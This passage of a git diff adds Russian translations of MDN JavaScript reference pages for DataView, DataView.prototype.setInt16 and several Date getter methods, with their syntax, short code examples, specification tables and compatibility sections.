+ <dt><code>{{jsxref("RangeError")}}</code></dt>
+ <dd>Выкидывается если <code>byteOffset</code>  и <code>byteLength</code> заходит за пределы буфера.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<h3 id="Порядок_байтов">Порядок байтов</h3>
+
+<p>Многобайтовые числовые форматы представлены в памяти по разному в зависимости от архитектуры машины, см {{Glossary("Endianness")}} для объяснения. Аксессоры DataView предоставляют явный контроль над обращением к данным вне зависимости от порядка байтов архитектуры платформы.</p>
+
+<pre class="brush: js">var littleEndian = (function() {
+  var buffer = new ArrayBuffer(2);
+  new DataView(buffer).setInt16(0, 256, true /* littleEndian */);
+  // Int16Array uses the platform's endianness.
+  return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true or false
+</pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>All <code>DataView</code> instances inherit from {{jsxref("DataView.prototype")}} and allows the addition of properties to all DataView objects.</p>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Properties')}}</p>
+
+<h2 id="Методы">Методы</h2>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Methods')}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(16);
+var dv = new DataView(buffer, 0);
+
+dv.setInt16(1, 42);
+dv.getInt16(1); //42
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 6</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Таблица_совместимости">Таблица совместимости</h2>
+
+
+
+<p>{{Compat("javascript.builtins.DataView")}}</p>
+
+<h2 id="Замечания_совместимости">Замечания совместимости</h2>
+
+<p>Starting with Firefox 40, <code>DataView</code> requires to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling <code>DataView()</code> as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = DataView(buffer, 0);
+// TypeError: calling a builtin DataView constructor without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new DataView(buffer, 0);</pre>
+
+<h2 id="Также">Также</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/jDataView/jDataView">jDataView</a>: JavaScript library that polyfills and extends the <code>DataView</code> API to all browsers and Node.js.</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/dataview/setint16/index.html b/files/ru/web/javascript/reference/global_objects/dataview/setint16/index.html
new file mode 100644
index 0000000000..22e53f475d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/dataview/setint16/index.html
@@ -0,0 +1,80 @@
+---
+title: DataView.prototype.setInt16()
+slug: Web/JavaScript/Reference/Global_Objects/DataView/setInt16
+tags:
+  - DataView
+  - JavaScript
+  - TypedArrays
+  - метод
+  - прототип
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setInt16
+---
+<div>{{JSRef}}</div>
+
+<div>Метод <strong><code>setInt16()</code></strong> содержит 16-битное целое (short) значение в байте, смещённым по указанному числу от начала {{jsxref("DataView")}}.</div>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setint16.html")}}</div>
+
+<p class="hidden">Исходный код для этого интерактивного примера содержится на репозитории в GitHub. Если вы хотите внести вклад в проект интерактивных примеров, пожалуйста, зайдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setInt16(byteOffset, value [, littleEndian])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>byteOffset</dt>
+ <dd>Смещение в байтах от старта до этого значения, где будут храниться данные.</dd>
+ <dt>value</dt>
+ <dd>Устанавливаемое значение.</dd>
+ <dt>littleEndian</dt>
+ <dd>{{optional_inline}} Указывает, сохранять ли 16-bit целое в {{Glossary("Endianness", "little- or big-endian")}} формате. Если значение false или undefined, записывает значение big-endian.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Возвращаемые_ошибки">Возвращаемые ошибки</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Выдана, если <code>byteOffset</code> установлен так, что целое бы хранилось после конца.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_setInt16">Использование метода <code>setInt16</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setInt16(1, 3);
+dataview.getInt16(1); // 3
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести вклад в данные, пожалуйста, зайдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setInt16")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также </h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getdate/index.html b/files/ru/web/javascript/reference/global_objects/date/getdate/index.html
new file mode 100644
index 0000000000..06c43d7b14
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getdate/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDate
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getDate()</code></strong> возвращает день месяца указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getDate()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getDate()</code>, является целым числом от 1 до 31.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getDate" name="Example:_Using_getDate">Пример: использование метода <code>getDate()</code></h3>
+
+<p>Вторая инструкция в примере ниже присваивает значение 25 переменной <code>day</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p>
+
+<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30');
+let day = date.getDate();
+
+console.log(day); // 25
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div></div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Date.getDate")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getday/index.html b/files/ru/web/javascript/reference/global_objects/date/getday/index.html
new file mode 100644
index 0000000000..628d921793
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getday/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDay
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getDay()</code></strong> возвращает порядковый номер дня недели указанной даты по местному времени, где 0 соответствует воскресенью.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getDay()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getDay()</code>, является целым числом, соответствующим дню недели: 0 соответствует воскресенью, 1 — понедельнику, 2 — вторнику и так далее.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getDay" name="Example:_Using_getDay">Пример: использование метода <code>getDay()</code></h3>
+
+<p>Вторая инструкция в примере ниже присваивает значение 1 переменной <code>weekday</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>. 25 декабря 1995 года было понедельником.</p>
+
+<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30');
+let weekday = date.getDay();
+
+console.log(weekday); // 1
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> При необходимости полное название дня (например, "<code>Понедельник</code>") можно получить, используя {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} с параметром <code>options</code> parameter. С помощью этого метода упрощается интернационализация:</p>
+
+<pre class="brush: js notranslate">let options = { weekday: 'long'};
+
+console.log(new Intl.DateTimeFormat('en-US', options).format(date));
+// Monday
+
+console.log(new Intl.DateTimeFormat('ru-RU', options).format(date));
+// понедельник
+</pre>
+</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div></div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Date.getDay")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html
new file mode 100644
index 0000000000..594410c0a3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getfullyear/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getFullYear()</code></strong> возвращает год указанной даты по местному времени.</p>
+
+<p>Используйте этот метод вместо метода {{jsxref("Date.prototype.getYear()", "getYear()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getFullYear()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getFullYear()</code> является абсолютным числом. Для дат между 1000 и 9999 годом метод <code>getFullYear()</code> возвращает четырёхзначный номер, например, 1995. Используйте эту функцию, чтобы быть уверенным, что год будет правильным после 2000 года.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getFullYear" name="Example:_Using_getFullYear">Пример: использование метода <code>getFullYear()</code></h3>
+
+<p>В следующем примере переменной <code>year</code> присваивается четырёхзначное значение текущего года.</p>
+
+<pre class="brush: js notranslate">let today = new Date(); // Mon Nov 23 2020 15:23:46 GMT+0300 (Москва, стандартное время)
+let year = today.getFullYear(); // 2020
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div></div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Date.getFullYear")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getYear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/gethours/index.html b/files/ru/web/javascript/reference/global_objects/date/gethours/index.html
new file mode 100644
index 0000000000..b5ecd79d22
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/gethours/index.html
@@ -0,0 +1,103 @@
+---
+title: Date.prototype.getHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getHours
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getHours()</code></strong> возвращает часы указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getHours()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getHours()</code>, является целым числом от 0 до 23.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getHours" name="Example:_Using_getHours">Пример: использование метода <code>getHours()</code></h3>
+
+<p>Вторая инструкция в примере ниже присваивает значение 23 переменной <code>hours</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p>
+
+<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30');
+let hours = date.getHours();
+
+console.log(hours); // 23
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div></div>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.Date.getHours")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
+
+<div id="simple-translate">
+<div>
+<div class="simple-translate-button isShow" style="height: 22px; width: 22px; top: 1012px; left: 179px;"></div>
+
+<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);">
+<div class="simple-translate-result-wrapper" style="overflow: hidden;">
+<div class="simple-translate-move"></div>
+
+<div class="simple-translate-result-contents">
+<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p>
+
+<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p>
+</div>
+</div>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html
new file mode 100644
index 0000000000..71257f95c1
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getmilliseconds/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.getMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getMilliseconds()</code></strong> возвращает миллисекунды указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMilliseconds()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getMilliseconds()</code>, является целым числом от 0 до 999.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getMilliseconds" name="Example:_Using_getMilliseconds">Пример: использование метода <code>getMilliseconds()</code></h3>
+
+<p>В следующем примере переменной <code>milliseconds</code> присваиваются миллисекунды текущего времени:</p>
+
+<pre class="brush: js notranslate">let today = new Date();
+let milliseconds = today.getMilliseconds();
+
+console.log(milliseconds); // 709
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html
new file mode 100644
index 0000000000..88db42fe6f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getminutes/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.getMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getMinutes()</code></strong> возвращает минуты указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMinutes()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getMinutes()</code>, является целым числом от 0 до 59.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getMinutes" name="Example:_Using_getMinutes">Пример: использование метода <code>getMinutes()</code></h3>
+
+<p>Вторая инструкция в примере ниже присваивает значение 15 переменной <code>minutes</code> из значения объекта {{jsxref("Global_Objects/Date", "Date")}} <code>date</code>.</p>
+
+<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30');
+let minutes = date.getMinutes();
+
+console.log(minutes); // 15
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html b/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html
new file mode 100644
index 0000000000..5d8c1af47e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getmonth/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.getMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getMonth()</code></strong> возвращает месяц указанной даты по местному времени, нумерация месяцев начинается с нуля для первого месяца в году.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getMonth()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getMonth()</code>, является целым числом от 0 до 11. 0 соответствует январю, 1 — февралю и так далее.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getMonth" name="Example:_Using_getMonth">Пример: использование метода <code>getMonth()</code></h3>
+
+<p>Вторая инструкция в примере ниже присваивает значение 11 переменной <code>month</code> из значения переменной <code>date</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30');
+let month = date.getMonth();
+
+console.log(month); // 11
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
